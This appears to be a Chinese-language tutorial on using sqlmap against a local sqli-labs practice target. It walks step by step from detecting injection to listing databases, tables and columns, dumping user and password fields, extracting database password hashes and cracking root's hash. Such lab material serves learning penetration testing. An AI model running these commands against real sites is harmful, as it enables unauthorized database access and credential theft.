1.判断是否存在注入:
假设目标注入点是http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1,判断其是否存在注入的命令如下所示:
python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1
结果如下:
2.查询当前用户下的所有数据库:
该命令是确定网站啊存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限包含所有数据库列表信息的表,使用该命令就可以列出所有数据库:
python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --dbs
从图中发现,查询出了7个数据及所有数据库的库名。当继续注入时,- -dbs 缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据库。
3.获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下图所示。如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMAP会列出数据库中所有库的表名。
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa --tables
从图中可以看到dvwa数据库中有两个表名,当继续注入时, - -tables缩写成-T,意思时在某表中继续查询。
4.获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名,如图所示。
python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa -T users --columns
从图中可以看到dvwa数据库中的users表中一共有8个字段。在后续的注入中,- -columns缩写成C。
5.获取字段内容
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下图所示。
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa -T users -C user,password --dump
6.获取数据库中所有用户
该命令的作用是列出数据库的所有用户,如图所示,在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --users
7.获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如图所示。如果当前用户有读取包含用户密码的权限,sqlmap会列举出用户,然后列出Hash,并尝试破解。
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --passwords
可以看到root的password,密码使用mysql5加密,可以在www.cmd5.com中破解,图中密码直接破解了。
8.获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如图所示
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --current-db
9.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户,如图所示。
python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --current-user
看出用户是root
以上内容参考Web安全攻防渗透测试实战指南。